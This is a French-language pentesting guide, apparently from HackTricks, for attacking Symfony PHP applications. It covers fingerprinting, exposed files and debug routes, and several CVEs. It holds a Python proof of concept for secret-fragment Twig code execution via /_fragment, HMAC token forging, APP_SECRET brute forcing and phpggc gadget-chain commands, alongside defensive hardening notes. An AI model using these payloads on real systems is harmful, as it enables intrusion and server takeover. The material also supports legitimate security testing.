7.1 KiB
Symfony
{{#include ../../banners/hacktricks-training.md}}
Symfony est l'un des frameworks PHP les plus utilisés et apparaît régulièrement dans les évaluations des cibles d'entreprise, de commerce électronique et de CMS (Drupal, Shopware, Ibexa, OroCRM… tous intègrent des composants Symfony). Cette page collecte des conseils offensifs, des configurations incorrectes courantes et des vulnérabilités récentes que vous devriez avoir sur votre liste de contrôle lorsque vous découvrez une application Symfony.
Note historique : Une grande partie de l'écosystème utilise encore la branche 5.4 LTS (EOL novembre 2025). Vérifiez toujours la version mineure exacte car de nombreux avis de sécurité de 2023-2025 ne sont corrigés que dans des versions de patch (par exemple, 5.4.46 → 5.4.50).
Recon & Enumeration
Finger-printing
- En-têtes de réponse HTTP :
X-Powered-By: Symfony
,X-Debug-Token
,X-Debug-Token-Link
ou cookies commençant parsf_redirect
,sf_session
,MOCKSESSID
. - Les fuites de code source (
composer.json
,composer.lock
,/vendor/…
) révèlent souvent la version exacte :
curl -s https://target/vendor/composer/installed.json | jq '.[] | select(.name|test("symfony/")) | .name,.version'
- Routes publiques qui n'existent que sur Symfony :
/_profiler
(Symfony Profiler & barre d'outils de débogage)/_wdt/<token>
(“Web Debug Toolbar”)/_error/{code}.{_format}
(pages d'erreur jolies)/app_dev.php
,/config.php
,/config_dev.php
(contrôleurs frontaux de développement pré-4.0)- Wappalyzer, BuiltWith ou listes de mots ffuf/feroxbuster :
symfony.txt
→ recherchez/_fragment
,/_profiler
,.env
,.htaccess
.
Fichiers et points de terminaison intéressants
Chemin | Pourquoi c'est important |
---|---|
/.env , /.env.local , /.env.prod |
Souvent mal déployés → fuites APP_SECRET , identifiants DB, SMTP, clés AWS |
/.git , .svn , .hg |
Divulgation de source → identifiants + logique métier |
/var/log/*.log , /log/dev.log |
Mauvaise configuration de la racine web expose des traces de pile |
/_profiler |
Historique complet des requêtes, configuration, conteneur de services, APP_SECRET (≤ 3.4) |
/_fragment |
Point d'entrée utilisé par ESI/HInclude. Abus possible une fois que vous connaissez APP_SECRET |
/vendor/phpunit/phpunit/phpunit |
RCE PHPUnit si accessible (CVE-2017-9841) |
/index.php/_error/{code} |
Finger-print & parfois fuite des traces d'exception |
Vulnérabilités à fort impact (2023-2025)
1. Divulgation de APP_SECRET ➜ RCE via /_fragment
(alias “secret-fragment”)
- CVE-2019-18889 à l'origine, mais apparaît toujours sur des cibles modernes lorsque le débogage est laissé activé ou que
.env
est exposé. - Une fois que vous connaissez le
APP_SECRET
de 32 caractères, créez un jeton HMAC et abusez du contrôleur internerender()
pour exécuter du Twig arbitraire :
# PoC – nécessite le secret
import hmac, hashlib, requests, urllib.parse as u
secret = bytes.fromhex('deadbeef…')
payload = "{{['id']|filter('system')}}" # RCE dans Twig
query = {
'template': '@app/404.html.twig',
'filter': 'raw',
'_format': 'html',
'_locale': 'en',
'globals[cmd]': 'id'
}
qs = u.urlencode(query, doseq=True)
token = hmac.new(secret, qs.encode(), hashlib.sha256).hexdigest()
r = requests.get(f"https://target/_fragment?{qs}&_token={token}")
print(r.text)
- Excellent article et script d'exploitation : blog Ambionics (lié dans les références).
2. Détournement de processus Windows – CVE-2024-51736
- Le composant
Process
recherchait le répertoire de travail actuel avantPATH
sur Windows. Un attaquant capable de téléchargertar.exe
,cmd.exe
, etc. dans une racine web écrivable et de déclencherProcess
(par exemple, extraction de fichiers, génération de PDF) obtient l'exécution de commandes. - Corrigé dans 5.4.50, 6.4.14, 7.1.7.
3. Fixation de session – CVE-2023-46733
- Le garde d'authentification a réutilisé un ID de session existant après la connexion. Si un attaquant définit le cookie avant que la victime ne s'authentifie, il détourne le compte après la connexion.
4. XSS dans le sandbox Twig – CVE-2023-46734
- Dans les applications qui exposent des modèles contrôlés par l'utilisateur (CMS admin, constructeur d'e-mails), le filtre
nl2br
pourrait être abusé pour contourner le sandbox et injecter du JS.
5. Chaînes de gadgets Symfony 1 (toujours trouvées dans des applications héritées)
phpggc symfony/1 system id
produit une charge utile Phar qui déclenche RCE lorsqu'un unserialize() se produit sur des classes telles quesfNamespacedParameterHolder
. Vérifiez les points de terminaison de téléchargement de fichiers et les wrappersphar://
.
{{#ref}} ../../pentesting-web/deserialization/php-deserialization-+-autoload-classes.md {{#endref}}
Exploitation Cheat-Sheet
Calculer le jeton HMAC pour /_fragment
python - <<'PY'
import sys, hmac, hashlib, urllib.parse as u
secret = bytes.fromhex(sys.argv[1])
qs = u.quote_plus(sys.argv[2], safe='=&')
print(hmac.new(secret, qs.encode(), hashlib.sha256).hexdigest())
PY deadbeef… "template=@App/evil&filter=raw&_format=html"
Bruteforce faible APP_SECRET
cewl -d3 https://target -w words.txt
symfony-secret-bruteforce.py -w words.txt -c abcdef1234567890 https://target
RCE via exposed Symfony Console
Si bin/console
est accessible via php-fpm
ou un téléchargement direct en CLI :
php bin/console about # confirm it works
php bin/console cache:clear --no-warmup
Utilisez des gadgets de désérialisation dans le répertoire de cache ou écrivez un modèle Twig malveillant qui sera exécuté lors de la prochaine requête.
Notes défensives
- Ne jamais déployer le débogage (
APP_ENV=dev
,APP_DEBUG=1
) en production ; bloquez/app_dev.php
,/_profiler
,/_wdt
dans la configuration du serveur web. - Stockez les secrets dans des variables d'environnement ou
vault/secrets.local.php
, jamais dans des fichiers accessibles via le document-root. - Appliquez la gestion des correctifs – abonnez-vous aux avis de sécurité Symfony et maintenez au moins le niveau de correctif LTS.
- Si vous utilisez Windows, mettez à jour immédiatement pour atténuer CVE-2024-51736 ou ajoutez une défense en profondeur
open_basedir
/disable_functions
.
Outils offensifs utiles
- ambionics/symfony-exploits – RCE de fragment secret, découverte de routes de débogage.
- phpggc – Chaînes de gadgets prêtes à l'emploi pour Symfony 1 & 2.
- sf-encoder – petit outil pour calculer le HMAC de
_fragment
(implémentation Go).
Références
- Ambionics – Symfony “secret-fragment” Remote Code Execution
- Symfony Security Advisory – CVE-2024-51736: Command Execution Hijack on Windows Process Component {{#include ../../banners/hacktricks-training.md}}